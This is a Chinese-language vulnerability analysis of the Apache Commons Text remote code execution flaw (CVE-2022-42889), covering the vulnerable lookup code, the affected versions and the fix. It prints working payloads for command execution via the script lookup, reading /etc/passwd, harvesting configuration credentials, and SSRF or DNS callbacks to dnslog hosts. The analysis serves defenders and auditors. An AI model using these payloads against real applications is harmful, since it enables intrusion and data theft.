0x01 漏洞描述
Apache Commons Text是一款处理字符串和文本块的开源项目。其受影响版本存在远程代码执行漏洞,因为其默认使用的Lookup实例集包括可能导致任意代码执行或与远程服务器信息交换的插值器Interpolator,如
-
script- 使用 JVM 脚本执行引擎 (javax.script) 执行表达式
-
dns – 解析 dns 记录
-
url – 从 url 加载值。
攻击者可利用该漏洞进行远程代码执行,甚至接管服务所在服务器。
1.1 影响版本
1.5.0<Apache Commons Text<1.10.0
1.2 利用条件
使用了StringSubstitutor.createInterpolator.replace()方式去解析用户输入的内容。
0x02 原理分析
以ScriptStringLookup为例:
漏洞入口处是StringSubstitutor#replace
:
然后调用StringSubstitutor#substitute ,然后调用 StringSubstitutor.Result#substitute 。这里做了一系列的处理,提取${}中间的内容,并赋值给varName,然后进行进一步的解析:
String varValue = this.resolveVariable(varName, builder, startPos, pos);
然后调用 StringSubstitutor#resolveVariable ,再调用 InterpolatorStringLookup#lookup,这里根据:
提取前缀,然后获取对应的lookup:
public String lookup(String var) {
if (var == null) {
return null;
} else {
int prefixPos = var.indexOf(58);
if (prefixPos >= 0) {
String prefix = toKey(var.substring(0, prefixPos));
String name = var.substring(prefixPos + 1);
StringLookup lookup = (StringLookup)this.stringLookupMap.get(prefix);
String value = null;
if (lookup != null) {
value = lookup.lookup(name);
}
if (value != null) {
return value;
}
var = var.substring(prefixPos + 1);
}
return this.defaultStringLookup != null ? this.defaultStringLookup.lookup(var) : null;
}
}
此时调用ScriptStringLookup 类的lookup方法进行解析,这里key(也就是前面的poc)会通过 : 拆分成两部分,前者引入 js 引擎,后者是作为被执行的代码,最终通过 ScriptEngine#eval 执行。也就达到了RCE的效果:
public String lookup(String key) {
if (key == null) {
return null;
} else {
String[] keys = key.split(SPLIT_STR, 2);
int keyLen = keys.length;
if (keyLen != 2) {
throw IllegalArgumentExceptions.format("Bad script key format [%s]; expected format is EngineName:Script.", new Object[]{key});
} else {
String engineName = keys[0];
String script = keys[1];
try {
ScriptEngine scriptEngine = (new ScriptEngineManager()).getEngineByName(engineName);
if (scriptEngine == null) {
throw new IllegalArgumentException("No script engine named " + engineName);
} else {
return Objects.toString(scriptEngine.eval(script), (String)null);
}
} catch (Exception var7) {
throw IllegalArgumentExceptions.format(var7, "Error in script engine [%s] evaluating script [%s].", new Object[]{engineName, script});
}
}
}
}
0x03 漏洞复现
以Script插值器为例:
首先引入风险组件:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.9</version>
</dependency>
相关demo:
public class Demo {
public static void main(String[] args) {
StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
stringSubstitutor.replace("${script:js:java.lang.Runtime.getRuntime().exec("open /System/Applications/Calculator.app")}");
}
}
0x04 其他利用方式探索
在调用stringLookupMap#get 解析到对应的的key然后返回对应的lookup实例,主要有以下几种:
可以通过相应的Lookup达到SSRF、任意文件读取、RCE、获取敏感信息的效果。
4.1 FunctionStringLookup
通过该Lookup可以获取一些系统环境变量信息:
-
env(例如获取家目录):
${env:HOME}
-
sys (例如获取Java version):
${sys:java.version}
4.2 JavaPlatformStringLookup
支持如下信息的读取:
${java:locale} | “default locale: ” + Locale.getDefault() + “, platform encoding: ” + this.getSystemProperty(“file.encoding”); |
${java:os} | this.getSystemProperty(“os.name”) + ” ” + this.getSystemProperty(“os.version”) + this.getSystemProperty(” “, “sun.os.patch.level”) + “, architecture: ” + this.getSystemProperty(“os.arch”) + this.getSystemProperty(“-“, “sun.arch.data.model”) |
${java:vm} | this.getSystemProperty(“java.vm.name”) + ” (build ” + this.getSystemProperty(“java.vm.version”) + “, ” + this.getSystemProperty(“java.vm.info”) + “)” |
${java:hardware} | “processors: ” + Runtime.getRuntime().availableProcessors() + “, architecture: ” + this.getSystemProperty(“os.arch”) + this.getSystemProperty(“-“, “sun.arch.data.model”) + this.getSystemProperty(“, instruction sets: “, “sun.cpu.isalist”) |
${java:version} | this.getSystemProperty(“java.version”) |
${java:runtime} | this.getSystemProperty(“java.runtime.name”) + ” (build ” + this.getSystemProperty(“java.runtime.version”) + “) from ” + this.getSystemProperty(“java.vendor”); |
以获取当前Java版本为例:
StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
String value = stringSubstitutor.replace("${java:version}");
4.3 PropertiesStringLookup
可以通过该lookup读取一些properties配置文件的信息。
${properties:DocumentPath::Key}
通过::
切割,获取到DocumentPath和key,documentPath 会去在本地去读取该文件
Properties properties = new Properties();
InputStream inputStream = Files.newInputStream(Paths.get(documentPath));
try {
properties.load(inputStream);
} catch (Throwable var18) {
......
}
然后再读取key对应的内容并返回:
return properties.getProperty(propertyKey);
例如项目使用了druid console台,但是通过配置spring.datasource.druid.stat-view-servlet.login-username
进行了权限控制,那么可以考虑通过该lookup来获取对应的敏感信息。
4.4 ResourceBundleStringLookup
在springboot中有一个 application.properties 配置文件。里面存放着这个系统的各项配置,其中有可能就包含 redis、mysql 的配置项。很多其他类型的系统也会写一些类似 jdbc.properties 的文件来存放配置。这些 properties 文件都可以通过 ResourceBundle 来获取到里面的配置项。
${resourcebundle:BundleName:KeyName}
通过:
切割,获取到keyBundleName和bundleKey ,然后读取对应的内容:
String[] keys = key.split(SPLIT_STR);
int keyLen = keys.length;
boolean anyBundle = this.bundleName == null;
if (anyBundle && keyLen != 2) {
throw IllegalArgumentExceptions.format("Bad resource bundle key format [%s]; expected format is BundleName:KeyName.", new Object[]{key});
} else if (this.bundleName != null && keyLen != 1) {
throw IllegalArgumentExceptions.format("Bad resource bundle key format [%s]; expected format is KeyName.", new Object[]{key});
} else {
String keyBundleName = anyBundle ? keys[0] : this.bundleName;
String bundleKey = anyBundle ? keys[1] : keys[0];
try {
return this.getString(keyBundleName, bundleKey);
}
......
}
同理,跟PropertiesStringLookup的例子一样,如果项目使用了druid console台,但是通过配置spring.datasource.druid.stat-view-servlet.login-username
进行了权限控制,那么可以考虑通过该lookup来获取对应的敏感信息(可以无需知道properties的路径):
StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
String value = stringSubstitutor.replace("${resourcebundle:application:spring.datasource.druid.stat-view-servlet.login-username}");
4.5 FileStringLookup
${file:charsetName:fileName}
通过 :
拆分 key ,分配赋值给charsetName和fileName,然后调用Files.readAllBytes()方法进行文件读取:
if (key == null) {
return null;
} else {
String[] keys = key.split(String.valueOf(':'));
int keyLen = keys.length;
if (keyLen < 2) {
throw IllegalArgumentExceptions.format("Bad file key format [%s], expected format is CharsetName:DocumentPath.", new Object[]{key});
} else {
String charsetName = keys[0];
String fileName = StringUtils.substringAfter(key, 58);
try {
return new String(Files.readAllBytes(Paths.get(fileName)), charsetName);
} catch (Exception var7) {
throw IllegalArgumentExceptions.format(var7, "Error looking up file [%s] with charset [%s].", new Object[]{fileName, charsetName});
}
}
}
}
具体效果:
StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
String value = stringSubstitutor.replace("${file:utf-8:/etc/passwd}");
4.6 XmlStringLookup
通过:
切割,前面的部分赋值给documentPath,第二部分赋值给 xpath:
String documentPath = keys[0];
String xpath = StringUtils.substringAfter(key, 58);
documentPath 会去在本地去读取该文件:
InputStream inputStream = Files.newInputStream(Paths.get(documentPath));
最后会调用对应的方法进行解析,可以达到xxe的效果:
XPathFactory.newInstance().newXPath().evaluate(xpath, new InputSource(inputStream));
4.7 UrlStringLookup
${url:charsetName:urlStr}
通过:
切割,获取到charsetName和urlStr,然后通过java.net.URL对象对urlStr进行处理。也就是说可以通过File/http协议去操作。
-
任意文件读取
StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
String value = stringSubstitutor.replace("${url:utf-8:file:///etc/passwd}");
-
SSRF
${url:utf-8:http://x.x.x.x}
StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
String value = stringSubstitutor.replace("${url:utf-8:http://wzd0lw.dnslog.cn}");
4.8 ScriptStringLookup
实际上就是js引擎的调用,前面复现过程已经提及过了:
ScriptEngine scriptEngine = (new ScriptEngineManager()).getEngineByName("js");
4.9 DnsStringLookup
${dns:address|x.x.x.x}
主要通过|
分割,然后调用InetAddress.getByName()方法,在给定主机名的情况下确定主机的IP地址,这里实际上会发起一个dns请求:
public String lookup(String key) {
if (key == null) {
return null;
} else {
String[] keys = key.trim().split("\|");
int keyLen = keys.length;
String subKey = keys[0].trim();
String subValue = keyLen < 2 ? key : keys[1].trim();
try {
InetAddress inetAddress = InetAddress.getByName(subValue);
byte var8 = -1;
switch(subKey.hashCode()) {
case -1147692044:
if (subKey.equals("address")) {
var8 = 2;
}
break;
case 3373707:
if (subKey.equals("name")) {
var8 = 0;
}
break;
case 1339224004:
if (subKey.equals("canonical-name")) {
var8 = 1;
}
}
switch(var8) {
case 0:
return inetAddress.getHostName();
case 1:
return inetAddress.getCanonicalHostName();
case 2:
return inetAddress.getHostAddress();
default:
return inetAddress.getHostAddress();
}
} catch (UnknownHostException var9) {
return null;
}
}
}
具体效果:
StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
String value = stringSubstitutor.replace("${dns:address|ed7ce3.dnslog.cn}");
0x05 其他
UrlStringLookup、ScriptStringLookup、DnsStringLookup在最新版本默认情况下已不支持。实际上还是可以主动调用的。例如其中一种调用方式:
StringLookupFactory.INSTANCE.scriptStringLookup().lookup("javascript:java.lang.Runtime.getRuntime().exec('open /System/Applications/Calculator.app')");
在代码审计或者漏洞排查时需要额外关注。
0x06 修复方式
主要是在org.apache.commons.text.lookup.StringLookupFactory中的DefaultStringLookupsHolder#createDefaultStringLookups方法,在创建lookup的时候便将存在风险的lookup排除在外:
private static Map<String, StringLookup> createDefaultStringLookups() {
Map<String, StringLookup> lookupMap = new HashMap<>();
addLookup(DefaultStringLookup.BASE64_DECODER, lookupMap);
addLookup(DefaultStringLookup.BASE64_ENCODER, lookupMap);
addLookup(DefaultStringLookup.CONST, lookupMap);
addLookup(DefaultStringLookup.DATE, lookupMap);
addLookup(DefaultStringLookup.ENVIRONMENT, lookupMap);
addLookup(DefaultStringLookup.FILE, lookupMap);
addLookup(DefaultStringLookup.JAVA, lookupMap);
addLookup(DefaultStringLookup.LOCAL_HOST, lookupMap);
addLookup(DefaultStringLookup.PROPERTIES, lookupMap);
addLookup(DefaultStringLookup.RESOURCE_BUNDLE, lookupMap);
addLookup(DefaultStringLookup.SYSTEM_PROPERTIES, lookupMap);
addLookup(DefaultStringLookup.URL_DECODER, lookupMap);
addLookup(DefaultStringLookup.URL_ENCODER, lookupMap);
addLookup(DefaultStringLookup.XML, lookupMap);
return lookupMap;
}
参考来源:奇安信攻防社区
原文地址:https://forum.butian.net/share/1973
原文始发于微信公众号(红蓝公鸡队):浅谈Apache Commons Text RCE(CVE-2022-42889)